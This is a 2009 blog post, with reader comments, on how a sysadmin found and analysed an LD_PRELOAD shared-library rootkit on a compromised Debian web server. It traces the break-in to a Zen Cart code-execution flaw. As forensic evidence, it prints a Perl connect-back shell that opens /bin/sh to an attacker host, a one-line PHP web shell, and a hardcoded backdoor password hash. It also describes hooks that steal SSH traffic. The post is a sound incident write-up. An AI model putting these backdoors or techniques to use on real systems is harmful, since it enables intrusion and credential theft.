There’s a rootkit in the closet!

Part 1: Finding the rootkit

It’s monday morning and I am for coffee in downtown Thessaloniki, a partner calls:
– On machine XXX mysqld is not starting since Saturday.
– Can I drink my coffee and come over later to check it ? Is it critical ?
– Nope, come over anytime you can…

Around 14:00 I go over to his company to check on the box. It’s a debian oldstable (etch) that runs apache2 with xoops CMS + zencart (version unknown), postfix, courier-imap(s)/pop3(s), bind9 and mysqld. You can call it a LAMP machine with a neglected CMS which is also running as a mailserver…

I log in as root, I do a ps ax and the first thing I notice is apache having more than 50 threads running. I shut apache2 down via /etc/init.d/apache2 stop. Then I start poking at mysqld. I can’t see it running on ps so I try starting it via the init.d script. Nothing…it hangs while trying to get it started. I suspect a failing disk so I use tune2fs -C 50 /dev/hda1 to force an e2fck on boot and I reboot the machine. The box starts booting, it checks the fs, no errors found, it continues and hangs at starting mysqld. I break out of the process and am back at login screen. I check the S.M.A.R.T. status of the disk via smartctl -a /dev/hda, all clear, no errors found. Then I try to start mysqld manually, it looks like it starts but when I try to connect to it via a mysql client I get no response. I try to move /var/lib/mysql/ files to another location and to re-init the mysql database. Trying to start mysqld after all that, still nothing.

Then I try to downgrade mysql to the previous version. Apt-get process tries to stop mysqld before it replaces it with the older version and it hangs, I try to break out of the process but it’s impossible…after a few killall -9 mysqld_safe;killall -9 mysql; killall -9 mysqladmin it finally moves on but when it tries to start the downgraded mysqld version it hangs once again. That’s totally weird…

I try to ldd /usr/sbin/mysqld and I notice a very strange library named /lib/ in the output. I had never heard of that library name before so I google. Nothing comes up. I check on another debian etch box I have for the output of ldd /usr/sbin/mysqld and no library /lib/ comes up. I am definitely watching something that it shouldn’t be there. And that’s a rootkit!

I ask some friends online but nobody has ever faced that library rootkit before. I try to find that file on the box but it’s nowhere to be seen inside /lib/…the rootkit hides itself pretty well. I can’t see it with ls /lib or echo /lib/*. The rootkit has probably patched the kernel functions that allow me to see it. Strangely though I was able to see it with ldd (more about the technical stuff on the second half of the post). I try to check on some other executables in /sbin with a for i in /usr/sbin/*;do ldd $i; done, all of them appear to have /lib/ as a library dependency. I try to reboot the box with another kernel than the one it’s currently using but I get strange errors that it can’t even find the hard disk.

I try to downgrade the “working” kernel in an attempt of booting the box cleanly without the rootkit. I first take backups of the kernel and initramfs which are about to be replaced of course. When apt-get procedure calls mkinitramfs in order to create the initramfs image I notice that there are errors saying that it can’t delete /tmp/mkinitramfs_UVWXYZ/lib/ file, so rm fails and that makes mkinitramfs fail as well.

I decide that I am doing more harm than good to the machine at the time and that I should first get an image of the disk before I fiddle any more with it. So I shut the box down. I set up a new box with most of the services that should be running (mail + dns), so I had the option to check on the disk with the rootkit on my own time.

Part 2: Technical analysis
I. First look at the library

A couple of days later I put the disk to my box and made an image of each partition using dd:
dd if=/dev/sdb1 of=/mnt/image/part1 bs=64k

Then I could mount the image using loop to play with it:
mount -o loop /mnt/image/part1 /mnt/part1

A simple ls of /mnt/part1/lib/ revealed that was there. I run strings to it:
# strings /lib/
Welcome master

As one can easily see there’s some sort of password hash inside and references to /usr/sbin/sshd, /bin/sh and setting HISTFILE to /dev/null.

I took the disk image to my friend argp to help me figure out what exactly the rootkit does and how it was planted to the box.

II. What the rootkit does

Initially, while casually discussing the incident, kargig and myself (argp) we thought that we had to do with a kernel rootkit. However, after carefully studying the disassembled dead listing of, it became clear that it was a shared library based rootkit. Specifically, the intruder created the /etc/ file on the system with just one entry; the path of where he saved the shared library, namely /lib/ This has the effect of preloading every single time a dynamically linked executable is run by a user. Using the well-known technique of dlsym(RTLD_NEXT, symbol), in which the run-time address of the symbol after the current library is returned to allow the creation of wrappers, the shared library trojans (or hijacks) several functions. Below is a list of some of the functions the shared library hijacks and brief explanations of what some of them do:
__l xstat64

The hijacked accept() function sends a reverse, i.e. outgoing, shell to the IP address that initiated the incoming connection at port 80 only if the incoming IP address is a specific one. Afterwards it calls the original accept() system call. The hijacked getspnam() function sets the encrypted password entry of the shadow password structure (struct spwd->sp_pwdp) to a predefined hardcoded value (“$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0”). The hijacked read() and write() functions of the shared library wrap the corresponding system calls and if the current process is ssh (client or daemon), their buffers are appended to the file /var/opt/_so_cache/lc for outgoing ssh connections, or to /var/opt/_so_cache/ld for incoming ones (sshd). These files are also kept hidden using the same approach as described above.

III. How the rootkit was planted in the box

While argp was looking at the objdump output, I decided to take a look at the logs of the server. The first place I looked was the apache2 logs. Opening /mnt/part1/var/log/apache2/access.log.* didn’t provide any outcome at first sight, nothing really striking out, but when I opened /mnt/part1/var/log/apache2/error.log.1 I faced these entries at the bottom:

=> `foobar.ext’
Connecting to||:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]
foobar.ext: Permission denied

Cannot write to `foobar.ext’ (Permission denied).
=> `foobar.ext’
Connecting to||:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]

0K 100% 18.61 MB/s

01:05:51 (18.61 MB/s) – `foobar.ext’ saved [695/695]

=> `foobar.ext’
Connecting to||:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]
foobar.ext: Permission denied

Cannot write to `foobar.ext’ (Permission denied).
=> `foobar.ext’
Connecting to||:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]

0K 100% 25.30 MB/s

01:17:26 (25.30 MB/s) – `foobar.ext’ saved [695/695]

So this was the entrance point. Someone got through a web app to the box and was able to run code.
I downloaded “foobar.ext” from the same url and it was a perl script.

# Data Cha0s Perl Connect Back Backdoor Unpublished/Unreleased Source
# Code

use Socket;

print “[*] Dumping Arguments\n”;

$host = “A.B.C.D”;
$port = XYZ;

if ($ARGV[1]) {
$port = $ARGV[1];
print “[*] Connecting…\n”; $proto = getprotobyname(‘tcp’) || die(“[-] Unknown Protocol\n”);

socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die (“[-] Socket Error\n”);

my $target = inet_aton($host);

if (!connect(SERVER, pack “SnA4x8”, 2, $port, $target)) {
die(“[-] Unable to Connect\n”);
print “[*] Spawning Shell\n”;

if (!fork( )) {
exec {‘/bin/sh’} ‘-bash’ . “\0” x 4;

Since I got the time when foobar.ext was downloaded I looked again at the apache2 access.log to see what was going on at the time.
Here are some entries:

A.B.C.D – – [15/Aug/2009:01:05:33 +0300] “GET HTTP/1.1” 302 – “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:34 +0300] “POST HTTP/1.1” 200 303 “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:34 +0300] “GET HTTP/1.1” 200 131 “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:38 +0300] “GET HTTP/1.1” 200 – “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:47 +0300] “GET HTTP/1.1” 200 52 “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:50 +0300] “GET HTTP/1.1” 200 – “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:51 +0300] “GET HTTP/1.1” 200 59 “-” “Mozilla Firefox”

The second entry, with the POST looks pretty strange. I opened the admin/record_company.php file and discovered that it is part of zen-cart. The first result of googling for “zencart record_company” is this: Zen Cart ‘record_company.php’ Remote Code Execution Vulnerability. So that’s exactly how they were able to run code as the apache2 user.

Opening images/imagedisplay.php shows the following code:
<?php system($_SERVER["HTTP_SHELL"]); ?>
This code allows running commands using the account of the user running the apache2 server.

Part 3: Conclusion and food for thought
To conclude on what happened:
1) The attacker used the zencart vulnerability to create the imagedisplay.php file.
2) Using the imagedisplay.php file he was able to make the server download foobar.ext from his server.
3) Using the imagedisplay.php file he was able to run the server run foobar.ext which is a reverse shell. He could now connect to the machine.
4) Using some local exploit(s) he was probably able to become root.
5) Since he was root he uploaded/compiled and he created /etc/ Now every executable would first load this “trojaned” library which allows him backdoor access to the box and is hidding from the system. So there is his rootkit 🙂

Fortunately the rootkit had problems and if /var/opt/_so_cache/ directory was not manually created it couldn’t write the lc and ld files inside it. If you created the _so_cache dir then it started logging.

If there are any more discoveries about the rootkit they will be posted in a new post. If someone else wants to analyze the rootkit I would be more than happy if he/she put a link to the analysis as a comment on this blog.

Part 4: Files

In the following tar.gz you will find the library and the perl script foobar.ext (Use at your own risk. Attacker’s host/ip have been removed from the perl script):linuxv-rootkit.tar.gz

Many many thanks to argp of Census Labs

37 Responses to “There’s a rootkit in the closet!”

  1. August 21st, 2009 | 15:44
    Using Mozilla Firefox Mozilla Firefox 3.0.13 on Ubuntu Linux Ubuntu Linux

    Very nice! 🙂

  2. August 21st, 2009 | 16:23
    Using Mozilla Firefox Mozilla Firefox 3.5.2 on Linux Linux

    Wow, very nice analysis of the discovery and the root-kit itself. Articles like that really make you aware that kernel-rootkits aren’t just stuff of academic lectures and privilege escalation flaws aren’t kept track of solely for statistics.

  3. August 21st, 2009 | 17:08
    Using Debian IceWeasel Debian IceWeasel 3.0.12 on Debian GNU/Linux Debian GNU/Linux

    @Jojo: Rootkits are definitely not just the stuff of academic lectures, as you put it. Ask any professional system administrator and you will hear stories like this one. Just a small correction though, this wasn’t a kernel rootkit, it was a shared library rootkit.

  4. August 21st, 2009 | 17:25
    Using Mozilla Firefox Mozilla Firefox 3.5 on Linux Linux

    Excellent analysis and article 🙂

  5. Fotis L
    August 21st, 2009 | 17:26
    Using Google Chrome Google Chrome on Linux Linux

    So it was a rootkit finally!
    I checked it out using ida, the best disassembler ever! I like the welcome master part at the execve wrapper 🙂 Btw, when you want to fsck at the next boot you can:
    touch /forcefsck
    shutdown -rF now

  6. August 21st, 2009 | 18:30
    Using Mozilla Firefox Mozilla Firefox 3.0.5 on Windows Windows Vista

    I do get nervous when I cannot ls or stat an existing file 🙁 I find it useful to have available a couple of LiveCD Linuxes and UBCD (especially when working on someone else’s lone misbehaving machine).

    Excellent analysis and a highly informative writeup, thank you!

  7. jObo
    August 21st, 2009 | 19:45
    Using Mozilla Mozilla on Ubuntu Linux Ubuntu Linux

    Good job guys.

  8. August 22nd, 2009 | 04:50
    Using Mozilla Firefox Mozilla Firefox 3.6a1 on Linux Linux

    For a person that is just learning about security, I appreciate the step by step analysis. Nice job.

  9. apoikos
    August 22nd, 2009 | 11:57
    Using Debian IceWeasel Debian IceWeasel 3.0.9 on Debian GNU/Linux Debian GNU/Linux

    Great work and thorough analysis guys!

    Just a couple of general remarks:

    In most simple web server setups, where PHP apps do not normally make *any* outgoing network connections, it is generally a good thing to set up a rule in the OUTPUT chain of netfilter, using the “owner” match, to block apache from initiating any outgoing connections. This would have prevented the attacker from downloading his/her own code and spawning that reverse shell. Furthermore, because of PHPs flawed-by-design security, it is a good idea to restrict PHP’s access to the filesystem using open_basedir and make sure *no parts of the document root are writable by the web server*. These steps will make the attacker’s life a bit more difficult.

    Regarding the aftermath, it is always a good thing to have a set of statically-linked binaries lying around, just in case your dynamic libraries are broken. A good tool is a statically linked version of busybox, which debian already offers in the package named `busybox-static’ (credits to paravoid for this). Using a static busybox’s chroot() function to get /lib/ out of the way, you could have disabled the rootkit during runtime. Offline analysis is much better though, if you can afford it 😉

  10. August 22nd, 2009 | 13:29
    Using Mozilla Firefox Mozilla Firefox 3.5.2 on Linux Linux

    incredible story

    arg and kargig well done

  11. Ian Atha
    August 24th, 2009 | 00:51
    Using Safari Safari 531.9 on Mac OS X Mac OS X 10.5.8

    Nicely done!

  12. August 24th, 2009 | 01:23
    Using Mozilla Firefox Mozilla Firefox 3.5.2 on Linux Linux

    Thank you all for your comments 🙂 If any of you has ever heard or seen this rootkit before please post some details.

    For any of you that have digg accounts, you can digg the story if you liked it here:

  13. mmc
    October 13th, 2009 | 12:25
    Using Mozilla Firefox Mozilla Firefox 3.0.14 on Ubuntu Linux Ubuntu Linux

    Thanks for pulling all of the details of this sad and sordid affair together into one place that I can point the less security aware toward to get the whole story.

    Feeding one individual column after another just wasn’t putting the whole thing in perspective…

  14. March 13th, 2010 | 12:05
    Using WordPress WordPress 2.9.1

    […] full post on Hacker News If you enjoyed this article, please consider sharing it! Tagged with: Closet • […]

  15. March 13th, 2010 | 14:38
    Using Mozilla Firefox Mozilla Firefox 3.6 on Gentoo Linux Gentoo Linux

    Nice story! I wonder if you’d be able to run a live analysis of the filesystem by exporting it with NFS to another machine (which will be running the analysis). See, the NFS server runs in kernelspace, and will be invulnerable to a shared library attack.
    Would that be a good intrusion detection mechanism? Have a dedicated box run chkrootkit/rkhunter/etc nightly on all your webserver filesystems, over NFS?

  16. March 13th, 2010 | 15:35
    Using WordPress WordPress 2.8.4

    […] There’s a rootkit in the closet! | […]

  17. March 13th, 2010 | 20:37
    Using WordPress WordPress 2.8.4

    […] A great bit of sysadmin detective work. […]

  18. March 13th, 2010 | 20:39
    Using WordPress WordPress 2.8.4

    […] the original post: There’s a rootkit in the closet! | Into.the.Void. 15 September 2009 | Uncategorized | Trackback | | Stumble it! | View Count : 0 Next […]

  19. chmike
    March 13th, 2010 | 21:43
    Using Mozilla Firefox Mozilla Firefox 3.0.18 on Ubuntu Linux Ubuntu Linux

    I just checked my home web server and found out it has the rootkit.

    Here is what I see:
    root@home:/bin# ldd uname => (0xb7f6c000) => /lib/tls/i686/cmov/ (0xb7e0b000)
    /lib/ (0xb7f6d000)

    The has no file associated to it.

  20. chmike
    March 13th, 2010 | 21:56
    Using Mozilla Firefox Mozilla Firefox 3.6 on Windows Windows Vista

    Oops. No it’s not. There is no v after linux. Sorry for the noise.

  21. SCSweeps
    March 13th, 2010 | 22:21
    Using Mozilla Firefox Mozilla Firefox 3.6 on Windows Windows 7

    chmike, I made the same mistake too. My heart skipped a beat when I saw ‘/lib/’, but I then realized it was off by one letter.

  22. Scott
    March 14th, 2010 | 00:13
    Using Mozilla Mozilla 1.9.2 on Linux Linux

    You should submit this article to 2600 magazine. They really need informative articles like this. I have been an avid reader for years and haven’t seen anything this good in there for a long time. I’m sure the readers would much appreciate it, and it would get to a much wider audience.

  23. March 14th, 2010 | 00:36
    Using WordPress WordPress 2.9

    […] losing control over how it’s distributed30+ Free High Quality Gadget PSD Files | Naldz GraphicsThere’s a rootkit in the closet! | Tutorials | Graphic file formatsGoogle – public data8 Must-Have Twitter and Facebook […]

  24. March 14th, 2010 | 00:49
    Using Debian IceWeasel Debian IceWeasel on Debian GNU/Linux Debian GNU/Linux

    There’s something that puzzles me. You found a rootkit, and you saw that it was integrated very deeply in the system. Yet you tried to fix the system from inside out!

    Only after some failed attempts to download and install a new kernel, you finally did the Right Thing and shut down the server to analyze the hard disk from outside.

    To everyone who encounters such a rootkit, I strongly recommend to skip this second step. If you see such a deeply integrated rootkit, shut down the computer immediately! No fiddling! Then, take out the hard disk copy and analyze it as described in the article.

    Otherwise, you’d enable the rootkit to hide its traces, and to maybe destroy some data. You don’t learn anything from that fiddling. Satisfy your curiosity only _after_ perpetuating evidence! (i.e. after copying the hard disk’s data)

  25. March 14th, 2010 | 01:07
    Using Mozilla Firefox Mozilla Firefox 3.5.8 on Ubuntu Linux Ubuntu Linux

    As soon as you said “zen cart” I knew immediately what the initial exploit would be. It’s a descendent of OSCommerce, and both have *terrible* code.

  26. March 14th, 2010 | 02:05
    Using WordPress WordPress 2.9.2

    […] There’s a rootkit in the closet Comments (0) […]

  27. JHB
    March 14th, 2010 | 04:20
    Using Google Chrome Google Chrome on Windows Windows XP

    Great article. I read it with the same anticipation I get from reading a good detective novel.

  28. March 14th, 2010 | 10:29
    Using Mozilla Firefox Mozilla Firefox 3.6 on Linux Linux

    Thanks for the comments (again). I do know that I made some wrong first decisions when I tried to see what’s wrong with the box. These had to do with a) time available, b) trust to the box’s owner (could I trust him when he told me he did nothing wrong with mysql lately ?) c) not knowing of course that I was dealing with a rootkit.

    This post is just about sharing the experience of finding something new. I wrote about my first “bad decisions” in order for me and for people reading this story not to repeat them in a future encounter with something like that.

    To my belief people describing such stories should always include what they also did wrong while dealing with the case. That’s what makes others gain even more knowledge and experience, describing only the good parts and hiding the bad is like trying to trick the others about how “l33t” someone is…

  29. March 15th, 2010 | 18:17
    Using MovableType MovableType 4.21

    Four short links: 15 March 2010…

    There’s a Rootkit in the Closet — lovely explanation of finding and isolating a rootkit, reconstructing how it got there and deconstructing the rootkit to figure out what it did. It’s a detective story, no less exciting than when Cliff Stohl wrote T…

  30. March 16th, 2010 | 09:37
    Using WordPress WordPress 2.9.1

    […] history and Linux box’s rootkit analysis RSS the […]

  31. March 19th, 2010 | 03:44
    Using WordPress WordPress 2.6.1

    […] Shared There’s a rootkit in the closet! | Into.the.Void.. […]

  32. March 21st, 2010 | 01:08
    Using WordPress WordPress 2.8.4

    […] There’s a rootkit in the closet! | Into.the.Void. I would never have thought I'd find a sysadmin's narrative on hunting down and fixing a compromised server's problem this interesting or filled with detective story suspense. Someone in Hollywood ought to get the film rights to this. (tags: security linux sysadmin mysql php apache hacking) […]

  33. March 23rd, 2010 | 08:35
    Using WordPress WordPress abc

    […] recently stumbled upon this crime scene write-up by kargig. It’s a fantastic blow-by-blow account of the typical work done to diagnose a […]

  34. June 17th, 2010 | 17:27
    Using Mozilla Firefox Mozilla Firefox 3.5.5 on Windows Windows XP

    I very much enjoyed this analysis. While i am probably not at the same level of you guys i do remember back when i worked at a hosting company how i would find similar attacks where they had gained initial access through buggy web software and then planted backdoors in /tmp.

    However i have never encountered a kernel or shared library rootkit, even though i am as a hobby writing some kernel stuff for FreeBSD lately.

    Keep up the good work and keep documenting it!

  35. m4
    October 25th, 2011 | 16:36
    Using Mozilla Firefox Mozilla Firefox 5.0 on Linux Linux

    This sounds like the Jynx-Rootkit, which uses LD_PRELOAD. Google the name for more information.

  36. Jay
    April 23rd, 2014 | 16:24
    Using Mozilla Firefox Mozilla Firefox 28.0 on Windows Windows 7

    Really nice, thanks for the analysis.

  37. January 9th, 2019 | 00:01
    Using Google Chrome Google Chrome 71.0.3578.98 on Mac OS X Mac OS X 10.13.6

    We had maxed out CPU usage and a weird Runtime warning mentioning In searching I stumbled upon this article and it helped me track down a rootkit that was kicking off crytpocurrency mining algorithms.
    10 years later this blog post is still helping people out so thanks for the fun and helpful read!

Leave a reply